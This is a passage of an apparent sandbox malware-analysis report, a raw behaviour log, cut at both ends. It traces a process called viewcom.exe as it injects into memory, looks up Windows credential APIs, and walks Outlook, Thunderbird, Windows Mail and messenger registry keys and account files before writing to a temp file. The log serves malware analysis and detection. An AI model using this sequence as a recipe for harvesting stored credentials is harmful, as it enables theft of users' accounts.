comctl32.dll | 0x723c0000 | 0x72443fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pstorec.dll | 0x72810000 | 0x7281cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
atl.dll | 0x741e0000 | 0x741f3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sspicli.dll | 0x75640000 | 0x7565afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comdlg32.dll | 0x77160000 | 0x771dafff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffdd000 | 0x7ffdd000 | 0x7ffddfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Injection Type | Source Process | Source Os Thread ID | Injection Info | Success | Count | Logfile |
---|---|---|---|---|---|---|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc48 | address = 0x400000, size = 114688 | 1 |
Fn
Data
|
|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc48 | address = 0x7ffdd008, size = 4 | 1 |
Fn
Data
|
|
Modify Control Flow | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xc48 | os_tid = 0xc74, address = 0x0 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Handle | module_name = private_0x0000000000400000, base_address = 0x400000 | 2 |
Fn
|
|
Module | Load | module_name = comctl32.dll, base_address = 0x723c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll, function = InitCommonControlsEx, address_out = 0x723c6be6 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shell32.dll, function = SHGetSpecialFolderPathA, address_out = 0x7673fb26 | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom_lng.ini, type = file_attributes | 1 |
Fn
|
|
System | Get Info | type = Operating System | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Mozilla\Profiles, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Thunderbird\Profiles, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Qualcomm\Eudora\CommandLine | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Classes\Software\Qualcomm\Eudora\CommandLine\current | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Thunderbird | 1 |
Fn
|
|
File | Get Info | filename = C:\Program Files\Mozilla Thunderbird, type = file_attributes | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = ShowGridLines, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = SaveFilterIndex, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = AddExportHeaderLine, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = MarkOddEvenRows, default_value = 0 | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = WinPos | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = Columns | 1 |
Fn
|
|
Ini | Read | file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.cfg, section_name = General, key_name = Sort, default_value = 0 | 1 |
Fn
|
|
Module | Load | module_name = pstorec.dll, base_address = 0x72810000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\pstorec.dll, function = PStoreCreateInstance, address_out = 0x7281526c | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\crypt32.dll, function = CryptUnprotectData, address_out = 0x757e5a7f | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Google\Google Desktop\Mailboxes | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x760771c1 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x7603b2ec | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x76077941 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x76077381 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x76077481 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Identities | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Identities | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Identities\{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9} | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Identities\{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}, value_name = Username, data = Main Identity, type = REG_SZ | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Identities\{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\Software\Microsoft\Internet Account Manager\Accounts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Identities\{B85DCA4A-5C21-4EC5-AF48-A2A88CD3D1D9}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Identities | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\0a0d020000000000c000000000000046 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\0a0d020000000000c000000000000046 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\21c3340121c69b4d9839e87233c43775 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\21c3340121c69b4d9839e87233c43775 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\3517490d76624c419a828607e2a54604 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\3517490d76624c419a828607e2a54604 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5820efc9fdbb5f47849ddf6d61a8efbf | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5820efc9fdbb5f47849ddf6d61a8efbf | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5822179f3ba9dd4b834ca5b688df58ee | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5822179f3ba9dd4b834ca5b688df58ee | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5cf6dc56389a514da4af66e8d249d682 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\5cf6dc56389a514da4af66e8d249d682 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\79245ba6aebb494e8474990b23b0b5d9 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\79245ba6aebb494e8474990b23b0b5d9 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\822186790bcca847a772607001697335 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\822186790bcca847a772607001697335 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\8503020000000000c000000000000046 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\8503020000000000c000000000000046 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = POP3 User, data = 208, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = IMAP User, data = 208, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = HTTP User, data = 208, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001, value_name = SMTP User, data = 208, type = REG_NONE | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 User, data = dkjvzh@jjjd.com, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Server, data = ffadv, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = Display Name, data = djvohe, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = Email, data = dkjvzh@jjjd.com, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP Server, data = ddvs, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP Port, data = 0, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Port, data = 0, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Use SPA, data = 0, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = POP3 Password, data = 0, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = IMAP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = HTTP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002, value_name = SMTP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = POP3 User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = IMAP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = HTTP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003, value_name = SMTP User, data = 100, type = REG_NONE | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\b76d3b10d1949342bbbb36b682c4ceca | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\b76d3b10d1949342bbbb36b682c4ceca | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\IncrediMail\Identities | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Group Mail | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\MessengerService | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x760771c1 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x7603b2ec | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x76077941 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x76077381 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x76077481 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\crypt32.dll, function = CryptUnprotectData, address_out = 0x757e5a7f | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Yahoo\Pager | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x760771c1 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x7603b2ec | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x76077941 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x76077381 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x76077481 | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{81FF0B87-DBD4-46A5-A9FF-EF000B2F9024}.oeaccount, size = 1506, size_out = 1506 | 1 |
Fn
Data
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{A9B27062-9101-460A-98C0-C2AA26B0F943}.oeaccount, size = 1734, size_out = 1734 | 1 |
Fn
Data
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows Mail\account{D08688DB-6514-4DC0-9D54-33D56D2EF97E}.oeaccount, size = 670, size_out = 670 | 1 |
Fn
Data
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail | 1 |
Fn
|
|
File | Create | filename = C:\ProgramData\9F1B.tmp, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 6 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 12 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 15 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 5 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1B.tmp, size = 1 | 1 |
